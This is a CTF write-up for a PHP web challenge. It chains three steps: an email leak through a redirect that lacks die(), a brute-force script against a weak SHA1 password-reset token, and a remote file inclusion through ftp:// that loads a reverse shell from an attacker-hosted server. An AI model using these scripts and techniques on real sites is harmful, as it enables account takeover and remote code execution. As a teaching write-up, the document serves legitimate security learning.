Introduction
This year again, I was happy to be part of the organization committee for the GreHack conference and I created some challenges for the CTF. Organization was tricky this year, given that we had grown and sold almost 3x as many tickets as in previous years. Thanks to all the participants, organizers and sponsors, the event was once again complety insane 🔥 💚
Challenge
- Name :
Please Help Programmers
- Category :
Web
- Difficulty :
Medium
- Solves :
3
- Points :
500
- Author :
Nishacid
You constantly blame your PHP developer friend for the language he’s chosen, saying it’s not secure. To defend himself, he’s developed an open-source website that demonstrates good PHP practices.
Step 1 - Email leak
This whitebox challenge appears to be a simple web application, with a few features such as a login, a register, a reset password pages and a dashboard. The first thing to do is to check the init.sql
file to see if there is any user credentials.
/* <?= password_hash("admin", PASSWORD_BCRYPT); ?> */
INSERT INTO users (username, email, password) VALUES ('admin', '[email protected]', '$2y$10$q2FbMoksc6wgqGBDsmcgsOn9D/iPH56eNy7Bs2dk6JGjqQc/ScY7y');
Of course, the hardcoded credentials are just here for example purposes and do not work on the application, and the user is not registered on the application.
Looking at the index.php
file, we can see that the application is using a switch statement to handle the different actions based on the action
GET parameter.
$action = $_GET['action'] ?? null;
switch ($action) {
case 'register':
// ...
case 'login':
// ...
case 'logout':
// ...
case 'dashboard':
// ...
case 'reset_request':
// ...
case 'reset_password':
// ...
case 'infos':
// ...
default:
include __DIR__ . '/views/auth/login.php';
}
We can of course register a new account, but as expected, we are not admin and we cannot use all the features of the application.
The interesting case in the switch statement is the infos
action, which is used to display some information about the user, but this action check if the username is admin
, and if not, redirect us to the login page.
case 'infos':
if ($_SESSION['username'] !== 'admin') {
header('Location: /?action=login');
}
$users = $authController->getAllUsers();
include __DIR__ . '/views/infos.php';
break;
The problem here, is that there is a missing die();
after the header('Location: /?action=login');
statement, which allows us to access the infos
page with a simple curl
as the code will be executed after the redirection.
curl -ski 'https://please-help-programmers.ctf.grehack.fr/?action=infos'
HTTP/1.1 302 Found
[...]
Location: /?action=login
Content-Length: 655
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
[...]
<h1>Users list</h1>
<table border="1">
<tr>
<th>Username</th>
<th>Email</th>
</tr>
<tr>
<td>admin</td>
<td>[email protected]</td>
</tr>
</table>
</body>
</html>
And we got the admin’s email [email protected]
Step 2 - Weak Cryptography on reset password
Now that we have the admin’s email, we can take a look at the reset password feature.
class PasswordController {
private $user;
public function __construct($pdo) {
$this->user = new User($pdo);
}
public function requestPasswordReset($email) {
$user = $this->user->getUserByEmail($email);
if (!$user) {
header('Location: /?action=reset_request&status=email_not_found');
exit();
}
$token = TokenGenerator::generateToken($user);
if ($this->user->setResetTokenByEmail($email, $token)) {
// TODO : Dev feature to send email with reset link
header('Location: /?action=reset_request&status=email_sent');
exit();
} else {
header('Location: /?action=reset_request&status=failed');
exit();
}
}
We can see that the requestPasswordReset
method is using a TokenGenerator::generateToken($user)
function to generate a token for the user and then set it in the database for the given email, but the feature to send an email is not implemented.
Looking at the TokenGenerator::generateToken($user)
function, we observe that the token is generated using the user’s username, email, a random number in a range between 0 and 1337, the current date and time and a hardcoded salt.
<?php
class TokenGenerator {
private const SALT = '6f7851';
public static function generateToken($user) {
return sha1($user['username'] . '-' . $user['email'] . random_int(0, 1337) . date('Y-m-d H:i:s') . self::SALT);
}
}
?>
That’s a very weak token generation method, as the token is generated using many values that we know, we only need to brute-force the random number to find the correct token. Using the following script, it took less than 1minute to find the correct token.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from hashlib import sha1
from requests import get
from sys import exit
from concurrent.futures import ThreadPoolExecutor, as_completed
salt = '6f7851' # Hardcoded salt
random_range = 1337 # Range for random_int()
WORKERS = 20 # Number of workers
def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
data = f"{username}-{email}{random_int_val}{timestamp_req}{salt}"
hash_candidate = sha1(data.encode()).hexdigest()
url = f"{domain}?action=reset_password&token={hash_candidate}"
response = get(url, allow_redirects=False)
if 'Invalid or expired token' not in response.text:
return (True, random_int_val, hash_candidate, url)
return (False, random_int_val, None, None)
def main(timestamp_req: str, domain: str, username: str, email: str):
print(f"[*] Starting brute-force, it can take few minutes...")
with ThreadPoolExecutor(max_workers=WORKERS) as executor:
futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
for future in as_completed(futures):
success, random_int_val, hash_candidate, url = future.result()
if success:
print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}")
print(f"[+] URL: {url}")
exit()
else:
print("[-] Key not found.")
if __name__ == "__main__":
timestamp_req = "2024-11-26 21:44:52" # from burp suite
domain = "https://please-help-programmers.ctf.grehack.fr/"
username = "admin"
email = "[email protected]"
main(timestamp_req, domain, username, email)
So simply intercept a request while asking for a password reset with a proxy, grab the timestamp for the request, and run the script to find the token.
» python3 solve.py
[*] Starting brute-force, it can take few minutes...
[+] Key found ! random_int: 231, hash: fa693b7275b2d9e063afd9ef3fbbc581abe13257
[+] URL: https://please-help-programmers.ctf.grehack.fr/?action=reset_password&token=fa693b7275b2d9e063afd9ef3fbbc581abe13257
We are now able to login as admin on the dashboard page.
Step 3 - File Inclusion
The reason why we absolutly need an admin account on the dashboard is due to a very interesting feature who permits us to include a new card.
<?php
/* Include a special card */
if ($_SESSION['username'] === 'admin') {
if (isset($_GET["special_card"])) {
$card = htmlspecialchars($_GET["special_card"]);
if (file_exists($card) && substr($card, -5) == '.html') {
include($card);
} else {
echo "<div class='alert alert-danger text-center'>File not found or not an HTML file.</div>";
}
}
}
?>
To include a new card, the function check if the file name end with .html
and if the file exists, if so, it will include the file.
Okay, the first one was a joke, the include()
php function absolutely doesn’t care about the file extension, it will execute the code inside as if it was a php file, for example if we include the file foo.php
, it will be the same as if we include the file foo.html
, for foo.foo
, or foo.bar
, etc…
But for the second one, it’s a bit more tricky, the file_exists()
function will check if the file exists on the server, and if so, it will return true
, but if the file is not present on the server, it will return false
, and this doesn’t work for file that are not present on the server for example if we include http://attacker.com/foo.html
, it will return false
.
Thanks to the giga chad @Worty, he found that if we use the ftp://
protocol, it will make the FTP request and return true
if the file exists. According to this, we can simply create a simple FTP server to host a html file, which contains a reverse shell, and include it to get a RCE.
- Flag :
GH{Y0u_4r3_NoWw_4_pHp_3xp3rt!!}